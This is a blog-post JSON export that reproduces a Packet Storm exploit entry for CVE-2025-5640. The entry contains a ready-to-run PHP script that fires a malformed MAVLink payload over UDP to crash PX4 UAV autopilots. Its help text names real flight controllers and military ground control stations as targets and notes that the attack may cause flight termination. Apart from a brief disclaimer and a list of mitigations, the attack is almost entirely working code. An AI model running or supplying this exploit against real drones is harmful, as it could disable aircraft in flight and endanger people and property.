{"id":28310,"date":"2025-12-02T15:33:25","date_gmt":"2025-12-02T15:33:25","guid":{"rendered":"http:\/\/localhost\/?p=28310"},"modified":"2025-12-02T15:33:25","modified_gmt":"2025-12-02T15:33:25","slug":"px4-military-uav-autopilot-1123-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28310","title":{"rendered":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:08&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploits a stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3, allowing an attacker to send a poorly formatted MAVLink message that causes a denial of service condition&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212326&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-5640&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : PX4 Military UAV Autopilot 1.12.3 Remote DoS Exploit                                                                        |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/docs.px4.io\/v1.12\/                                                                                                  |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/202894\/ \\u0026  \\tCVE-2025-5640\\n    \\n    [+] Summary : This PoC exploits a Stack-Based Buffer Overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3, \\n                  allowing an attacker to send a poorly formatted MAVLink message of type:\\n                  TRAJECTORY_REPRESENTATION_WAYPOINTS to cause a complete failure (Denial of Service) of the UAV&#8217;s autopilot.\\n                  The PoC works by sending a malicious MAVLink payload via UDP to the common control port (14540\u201314550). \\n    \\t\\t\\t  Receiving data exceeding the expected size overwrites the stack memory, causing the autopilot to malfunction \\n    \\t\\t\\t  and the aircraft to enter Failsafe mode or lose connectivity entirely.\\n                  \\n    \\t\\t\\t\\n    [+]  POC : php poc.php\\n    \\n    \\u003c?php\\n    \/**\\n     * Author: indoushka\\n     * Description:\\n     * Stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot \\u003c=1.12.3\\n     * triggered via malformed MAVLink TRAJECTORY_REPRESENTATION_WAYPOINTS message.\\n     *\/\\n    \\n    class PX4UAVExploit {\\n        private $targetIp;\\n        private $targetPort;\\n        private $timeout;\\n        private $verbose;\\n        \\n        \/\/ Malformed MAVLink hex payload\\n        private $hexPayload = \\&#8221;fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b7812731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6\\&#8221;;\\n        \\n        public function __construct($ip = \\&#8221;127.0.0.1\\&#8221;, $port = 14540, $timeout = 5, $verbose = false) {\\n            $this-\\u003etargetIp = $ip;\\n            $this-\\u003etargetPort = $port;\\n            $this-\\u003etimeout = $timeout;\\n            $this-\\u003everbose = $verbose;\\n        }\\n        \\n        public function run($mode = \\&#8221;dos\\&#8221;) {\\n            $this-\\u003eshowBanner();\\n            \\n            try {\\n                switch ($mode) {\\n                    case \\&#8221;check\\&#8221;:\\n                        $this-\\u003echeckConnection();\\n                        break;\\n                    case \\&#8221;dos\\&#8221;:\\n                        $this-\\u003eexecuteDos();\\n                        break;\\n                    default:\\n                        $this-\\u003eerror(\\&#8221;Unknown mode: $mode\\&#8221;);\\n                        return;\\n                }\\n            } catch (Exception $e) {\\n                $this-\\u003eerror(\\&#8221;Execution failed: \\&#8221; . $e-\\u003egetMessage());\\n            }\\n        }\\n        \\n        private function checkConnection() {\\n            $this-\\u003einfo(\\&#8221;Testing connection to PX4 autopilot&#8230;\\&#8221;);\\n            $this-\\u003einfo(\\&#8221;Target: {$this-\\u003etargetIp}:{$this-\\u003etargetPort}\\&#8221;);\\n            \\n            \/\/ Create UDP socket\\n            $socket = $this-\\u003ecreateUdpSocket();\\n            if (!$socket) {\\n                $this-\\u003eerror(\\&#8221;Failed to create UDP socket\\&#8221;);\\n                return;\\n            }\\n            \\n            \/\/ Send heartbeat check\\n            $heartbeat = $this-\\u003ecreateMavlinkHeartbeat();\\n            $result = socket_sendto($socket, $heartbeat, strlen($heartbeat), 0, $this-\\u003etargetIp, $this-\\u003etargetPort);\\n            \\n            if ($result === false) {\\n                $this-\\u003eerror(\\&#8221;Failed to send heartbeat\\&#8221;);\\n            } else {\\n                $this-\\u003einfo(\\&#8221;Heartbeat sent successfully\\&#8221;);\\n                \\n                \/\/ Wait for response\\n                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array(&#8216;sec&#8217; =\\u003e $this-\\u003etimeout, &#8216;usec&#8217; =\\u003e 0));\\n                \\n                $response = &#8221;;\\n                $from = &#8221;;\\n                $port = 0;\\n                $bytes = socket_recvfrom($socket, $response, 1024, 0, $from, $port);\\n                \\n                if ($bytes \\u003e 0) {\\n                    $this-\\u003esuccess(\\&#8221;PX4 autopilot is responsive! Received $bytes bytes from $from:$port\\&#8221;);\\n                    $this-\\u003einfo(\\&#8221;Connection test PASSED\\&#8221;);\\n                } else {\\n                    $this-\\u003ewarning(\\&#8221;No response received &#8211; PX4 may be offline or not listening\\&#8221;);\\n                }\\n            }\\n            \\n            socket_close($socket);\\n        }\\n        \\n        private function executeDos() {\\n            $this-\\u003ewarning(\\&#8221;\ud83d\udea8 LAUNCHING DENIAL OF SERVICE ATTACK \ud83d\udea8\\&#8221;);\\n            $this-\\u003einfo(\\&#8221;Target: {$this-\\u003etargetIp}:{$this-\\u003etargetPort}\\&#8221;);\\n            $this-\\u003einfo(\\&#8221;This will crash the PX4 autopilot if vulnerable\\&#8221;);\\n            \\n            \/\/ Countdown\\n            for ($i = 5; $i \\u003e 0; $i&#8211;) {\\n                $this-\\u003einfo(\\&#8221;Sending exploit in $i seconds&#8230; (Ctrl+C to abort)\\&#8221;);\\n                sleep(1);\\n            }\\n            \\n            $socket = $this-\\u003ecreateUdpSocket();\\n            if (!$socket) {\\n                $this-\\u003eerror(\\&#8221;Failed to create UDP socket for attack\\&#8221;);\\n                return;\\n            }\\n            \\n            \/\/ Convert hex payload to binary\\n            $payload = hex2bin($this-\\u003ehexPayload);\\n            if (!$payload) {\\n                $this-\\u003eerror(\\&#8221;Failed to decode hex payload\\&#8221;);\\n                socket_close($socket);\\n                return;\\n            }\\n            \\n            $this-\\u003einfo(\\&#8221;Sending malformed MAVLink packet&#8230;\\&#8221;);\\n            \\n            \/\/ Send multiple packets for reliability\\n            $packetsSent = 0;\\n            for ($i = 0; $i \\u003c 3; $i++) {\\n                $result = socket_sendto($socket, $payload, strlen($payload), 0, $this-\\u003etargetIp, $this-\\u003etargetPort);\\n                \\n                if ($result === false) {\\n                    $this-\\u003eerror(\\&#8221;Failed to send packet #\\&#8221; . ($i + 1));\\n                } else {\\n                    $this-\\u003einfo(\\&#8221;Packet #\\&#8221; . ($i + 1) . \\&#8221; sent successfully ($result bytes)\\&#8221;);\\n                    $packetsSent++;\\n                }\\n                \\n                usleep(100000); \/\/ 100ms delay between packets\\n            }\\n            \\n            socket_close($socket);\\n            \\n            if ($packetsSent \\u003e 0) {\\n                $this-\\u003esuccess(\\&#8221;Exploit packets delivered successfully\\&#8221;);\\n                $this-\\u003ewarning(\\&#8221;PX4 autopilot should crash if vulnerable to CVE-2025-5640\\&#8221;);\\n                $this-\\u003eshowPostExploitationInfo();\\n            } else {\\n                $this-\\u003eerror(\\&#8221;No packets were sent successfully\\&#8221;);\\n            }\\n        }\\n        \\n        private function createUdpSocket() {\\n            $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);\\n            if ($socket === false) {\\n                return false;\\n            }\\n            \\n            \/\/ Set socket options\\n            socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1);\\n            socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array(&#8216;sec&#8217; =\\u003e $this-\\u003etimeout, &#8216;usec&#8217; =\\u003e 0));\\n            \\n            return $socket;\\n        }\\n        \\n        private function createMavlinkHeartbeat() {\\n            \/\/ Simple MAVLink heartbeat message (system ID 255, component ID 0)\\n            $heartbeat = hex2bin(\\&#8221;fe09000000ff0000000000000000000000000203d403\\&#8221;);\\n            return $heartbeat ?: &#8221;;\\n        }\\n        \\n        private function showPostExploitationInfo() {\\n            $this-\\u003einfo(\\&#8221;\\n    \ud83d\udcca POST-EXPLOITATION ACTIONS:\\n    \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    1. Monitor UAV Status:\\n       \u2022 Check if autopilot stopped responding\\n       \u2022 Verify telemetry data interruption\\n       \u2022 Observe flight controller behavior\\n    \\n    2. Impact Assessment:\\n       \u2022 Autopilot crash = UAV may enter failsafe mode\\n       \u2022 Possible flight termination in worst case\\n       \u2022 Ground station connection loss\\n    \\n    3. Recovery Actions:\\n       \u2022 Restart PX4 software\\n       \u2022 Reboot flight controller\\n       \u2022 Re-establish MAVLink connections\\n    \\n    \ud83d\udee1\ufe0f  MITIGATION RECOMMENDATIONS:\\n       \u2022 Update PX4 to version \\u003e 1.12.3\\n       \u2022 Implement MAVLink message validation\\n       \u2022 Use message authentication\\n       \u2022 Network segmentation for UAV communications\\n            \\&#8221;);\\n        }\\n        \\n        private function showBanner() {\\n            echo \\&#8221;\\n    \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n    \u2502               PX4 UAV AUTOPILOT EXPLOIT                     \u2502\\n    \u2502           CVE-2025-5640 &#8211; Remote DoS Exploit                \u2502\\n    \u2502                                                             \u2502\\n    \u2502 Target: PX4 Military UAV Autopilot \\u003c= 1.12.3                \u2502\\n    \u2502 Vulnerability: Stack-based Buffer Overflow                  \u2502\\n    \u2502 Impact: Denial of Service (Autopilot Crash)                 \u2502\\n    \u2502 Author: indoushka                                           \u2502\\n    \u2502 PHP Implementation                                          \u2502\\n    \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\\\n\\\\n\\&#8221;;\\n        }\\n        \\n        private function info($message) {\\n            echo \\&#8221;\u2139\ufe0f  [INFO] \\&#8221; . $message . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        private function success($message) {\\n            echo \\&#8221;\u2705 [SUCCESS] \\&#8221; . $message . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        private function warning($message) {\\n            echo \\&#8221;\u26a0\ufe0f  [WARNING] \\&#8221; . $message . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        private function error($message) {\\n            echo \\&#8221;\u274c [ERROR] \\&#8221; . $message . \\&#8221;\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    function showHelp() {\\n        echo \\&#8221;\\n    \ud83d\udcd6 PX4 UAV Autopilot DoS Exploit (CVE-2025-5640)\\n    \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\n    \\n    \ud83d\udee0\ufe0f  Usage:\\n      php px4_exploit.php [OPTIONS]\\n    \\n    \ud83d\udccb Options:\\n      &#8211;ip        Target IP address (default: 127.0.0.1)\\n      &#8211;port      Target UDP port (default: 14540)\\n      &#8211;mode      Operation mode: dos, check (default: dos)\\n      &#8211;timeout   Timeout in seconds (default: 5)\\n      &#8211;help      Show this help information\\n    \\n    \ud83c\udfaf Examples:\\n      # Check connection to PX4\\n      php px4_exploit.php &#8211;mode check &#8211;ip 192.168.1.100 &#8211;port 14550\\n    \\n      # Launch DoS attack\\n      php px4_exploit.php &#8211;mode dos &#8211;ip 192.168.1.100 &#8211;port 14550\\n    \\n      # Attack local SITL instance\\n      php px4_exploit.php &#8211;mode dos\\n    \\n    \u26a0\ufe0f  LEGAL DISCLAIMER:\\n      This tool is for authorized security testing only.\\n      Do not use against systems you don&#8217;t own or have permission to test.\\n      \\n      Military UAV systems are critical infrastructure.\\n      Unauthorized access may violate national and international laws.\\n    \\n    \ud83d\udd27 Technical Details:\\n      \u2022 Vulnerability: Buffer overflow in MAVLink message handling\\n      \u2022 Affected: PX4 Autopilot \\u003c= 1.12.3\\n      \u2022 Protocol: MAVLink over UDP\\n      \u2022 Port: Typically 14540-14550\\n      \u2022 Impact: Autopilot crash \u2192 UAV failsafe\/termination\\n    \\n    \ud83c\udfaf Target Environments:\\n      \u2022 PX4 SITL (Software In The Loop)\\n      \u2022 Real PX4 flight controllers\\n      \u2022 Military UAV ground control stations\\n      \u2022 Drone testing laboratories\\n    \\\\n\\&#8221;;\\n    }\\n    \\n    function parseArguments($argv) {\\n        $options = [\\n            &#8216;ip&#8217; =\\u003e &#8216;127.0.0.1&#8217;,\\n            &#8216;port&#8217; =\\u003e 14540,\\n            &#8216;mode&#8217; =\\u003e &#8216;dos&#8217;,\\n            &#8216;timeout&#8217; =\\u003e 5,\\n            &#8216;help&#8217; =\\u003e false\\n        ];\\n        \\n        for ($i = 1; $i \\u003c count($argv); $i++) {\\n            switch ($argv[$i]) {\\n                case &#8216;&#8211;ip&#8217;:\\n                    $options[&#8216;ip&#8217;] = $argv[++$i] ?? &#8216;127.0.0.1&#8217;;\\n                    break;\\n                case &#8216;&#8211;port&#8217;:\\n                    $options[&#8216;port&#8217;] = intval($argv[++$i] ?? 14540);\\n                    break;\\n                case &#8216;&#8211;mode&#8217;:\\n                    $options[&#8216;mode&#8217;] = $argv[++$i] ?? &#8216;dos&#8217;;\\n                    break;\\n                case &#8216;&#8211;timeout&#8217;:\\n                    $options[&#8216;timeout&#8217;] = intval($argv[++$i] ?? 5);\\n                    break;\\n                case &#8216;&#8211;help&#8217;:\\n                    $options[&#8216;help&#8217;] = true;\\n                    break;\\n            }\\n        }\\n        \\n        return $options;\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() !== &#8216;cli&#8217;) {\\n        die(\\&#8221;\u274c This script must be run from command line\\\\n\\&#8221;);\\n    }\\n    \\n    $options = parseArguments($argv);\\n    \\n    if ($options[&#8216;help&#8217;]) {\\n        showHelp();\\n        exit(0);\\n    }\\n    \\n    \/\/ Validate mode\\n    if (!in_array($options[&#8216;mode&#8217;], [&#8216;dos&#8217;, &#8216;check&#8217;])) {\\n        echo \\&#8221;\u274c Invalid mode. Use &#8216;dos&#8217; or &#8216;check&#8217;\\\\n\\&#8221;;\\n        showHelp();\\n        exit(1);\\n    }\\n    \\n    \/\/ Validate IP address\\n    if (!filter_var($options[&#8216;ip&#8217;], FILTER_VALIDATE_IP)) {\\n        echo \\&#8221;\u274c Invalid IP address: {$options[&#8216;ip&#8217;]}\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    \/\/ Validate port\\n    if ($options[&#8216;port&#8217;] \\u003c 1 || $options[&#8216;port&#8217;] \\u003e 65535) {\\n        echo \\&#8221;\u274c Invalid port number: {$options[&#8216;port&#8217;]}\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    try {\\n        $exploit = new PX4UAVExploit(\\n            $options[&#8216;ip&#8217;],\\n            $options[&#8216;port&#8217;], \\n            $options[&#8216;timeout&#8217;],\\n            true\\n        );\\n        \\n        $exploit-\\u003erun($options[&#8216;mode&#8217;]);\\n        \\n    } catch (Exception $e) {\\n        echo \\&#8221;\u274c Fatal error: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    ?\\u003e\\n    \\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212326&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:4.8,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:L\/AC:L\/AT:N\/PR:L\/UI:N\/VC:N\/SC:N\/VI:N\/SI:N\/VA:L\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:L&#8221;,&#8221;baseScore&#8221;:3.3,&#8221;baseSeverity&#8221;:&#8221;LOW&#8221;,&#8221;attackVector&#8221;:&#8221;LOCAL&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;LOW&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;NONE&#8221;,&#8221;integrityImpact&#8221;:&#8221;NONE&#8221;,&#8221;availabilityImpact&#8221;:&#8221;LOW&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212326\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:08&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploits a stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3, allowing an attacker to send a&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,75,12,21,13,53,7,11,5],"class_list":["post-28310","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-48","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28310\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:08&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploits a stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3, allowing an attacker to send a...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28310\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T15:33:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326\",\"datePublished\":\"2025-12-02T15:33:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310\"},\"wordCount\":1785,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-4.8\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28310#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310\",\"name\":\"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-02T15:33:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28310\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28310#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28310","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:08&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploits a stack-based buffer overflow vulnerability in PX4 Military UAV Autopilot versions up to 1.12.3, allowing an attacker to send a...","og_url":"https:\/\/zero.redgem.net\/?p=28310","og_site_name":"zero redgem","article_published_time":"2025-12-02T15:33:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28310#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28310"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326","datePublished":"2025-12-02T15:33:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28310"},"wordCount":1785,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-4.8","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28310#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28310","url":"https:\/\/zero.redgem.net\/?p=28310","name":"\ud83d\udcc4 PX4 Military UAV Autopilot 1.12.3 Denial of Service_PACKETSTORM:212326 - zero 